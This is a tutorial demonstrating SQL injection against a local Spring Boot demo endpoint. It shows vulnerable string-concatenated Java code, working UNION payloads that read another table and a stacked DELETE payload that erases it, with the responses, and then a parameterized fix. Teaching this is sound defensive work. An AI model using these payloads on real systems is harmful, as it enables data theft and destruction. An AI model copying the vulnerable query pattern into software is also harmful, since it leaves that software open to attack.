

**SQLi** - vulnerability that allows an attacker to interfere with the queries that an application makes to its database.

- **Information disclosure:** allows an attacker to view data that they are not normally able to retrieve.
- **Data manipulation and deletion:** an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

# SQL Injection in Unparameterized Query

For an API to fetch employee by post, we have unparameterized SQL query:

```
String query = "SELECT id, name, post, salary  
FROM employee WHERE post = '" + post + "'";
```

```
public List<Map<String, Object>> listEmployeeByPost(String post) {  
    String query = "SELECT id, name, post, salary FROM employee WHERE post = '" + post + "'";  
    log.info("QUERY : " + query);  
    return jdbcTemplate.queryForList(query, new HashMap<>());  
}
```

Simple JSON Payload:

```
{  
    "post" : "Manager"  
}
```

Checking SQLi is possible

```
{  
    "post" : "Manager' "  
}
```

which result in error response

```
{  
  "timestamp": "2023-06-20T02:15:54.801+00:00",  
  "status": 500,  
  "error": "Internal Server Error",  
  "path": "/api/employee/byPost"
```

# SQLi attack payload using UNION

## Simple UNION payload

POST

localhost:8080/api/employee/byPost

Params

Authorization

Headers (8)

Body

Pre-request Script

Tests

Settings

none

form-data

x-www-form-urlencoded

raw

binary

GraphQL

JSON

```
1 {
2   ... "post": "Manager' union select '1', '2', '3', '4"
3 }
4
```

Body

Cookies

Headers (5)

Test Results

Status: 200 OK

Time: 138 ms

Size: 266 B

Pretty

Raw

Preview

Visualize

JSON

```
1 [
2   {
3     "ID": 1,
4     "NAME": "2",
5     "POST": "3",
6     "SALARY": "4"
7   },
8   {
9     "ID": 1,
10    "NAME": "Ram",
11    "POST": "Manager",
12    "SALARY": "100000"
13  }
14 ]
```

# Retrieving all data from other tables

```
{
  "post": "Manager' UNION ALL SELECT id as id, name
as name, price as post, created_by as salary FROM
product WHERE '1' = '1"
}
```

The screenshot shows a REST client interface with a POST request to `localhost:8080/api/employee/byPost`. The request body is a JSON object with a single key `"post"` containing a SQL injection payload. The response is a JSON array of four objects, each representing an employee record. The interface includes tabs for Params, Authorization, Headers, Body, Pre-request Script, Tests, and Settings. The Body tab is active, showing the request and response in JSON format. The response status is 200 OK, and the size is 441 B.

POST localhost:8080/api/employee/byPost Send

Params Authorization Headers (8) Body Pre-request Script Tests Settings Cookies Beautify

none form-data x-www-form-urlencoded raw binary GraphQL JSON

```
1 {
2   "post": "Manager' UNION ALL SELECT id as id, name as name, price as post, created_by as salary FROM product WHERE '1' = '1"
3 }
```

ody Cookies Headers (5) Test Results Status: 200 OK Time: 29 ms Size: 441 B Save as Example

Pretty Raw Preview Visualize JSON

```
9   "ID": 1,
10  "NAME": "Laptop",
11  "POST": "100000",
12  "SALARY": "Ram"
13 },
14 {
15   "ID": 2,
16   "NAME": "Monitor",
17   "POST": "300000",
18   "SALARY": "Ram"
19 },
20 {
21   "ID": 3,
22   "NAME": "Mouse",
23   "POST": "2000",
24   "SALARY": "Hari"
25 },
26 {
27   "ID": 4,
28   "NAME": "USB",
29   "POST": "100000",
30   "SALARY": "Hari"
31 }
32 }
```

# Deleting Data from table

```
{
  "post": "Manager";DELETE FROM product WHERE '1'='1"
}
```

The screenshot shows a REST client interface with the following details:

- Method:** POST
- URL:** localhost:8080/api/employee/byPost
- Body:** A JSON object: 

```
{
  "post": "Manager";DELETE FROM product WHERE '1'='1"
}
```
- Response:** Status 200 OK, Time: 33. The response body is a JSON object: 

```
{
  "ID": 1,
  "NAME": "Ram",
  "POST": "Manager",
  "SALARY": "100000"
}
```

This has deleted all data from product table

## Solution:

- Parameterize your query
- Sanitize user's input

```
public List<Map<String, Object>> listEmployeeByPost(String post) {  
    String query = "SELECT id, name, post, salary FROM employee WHERE post = :post" ;  
    Map<String, String> params = new HashMap<>();  
    params.put("post", post);  
    log.info("QUERY : " + query);  
    return jdbcTemplate.queryForList(query, params );  
}
```

## Github Code:

<https://github.com/narayankauchamagar/springboot-sqli-demo-app>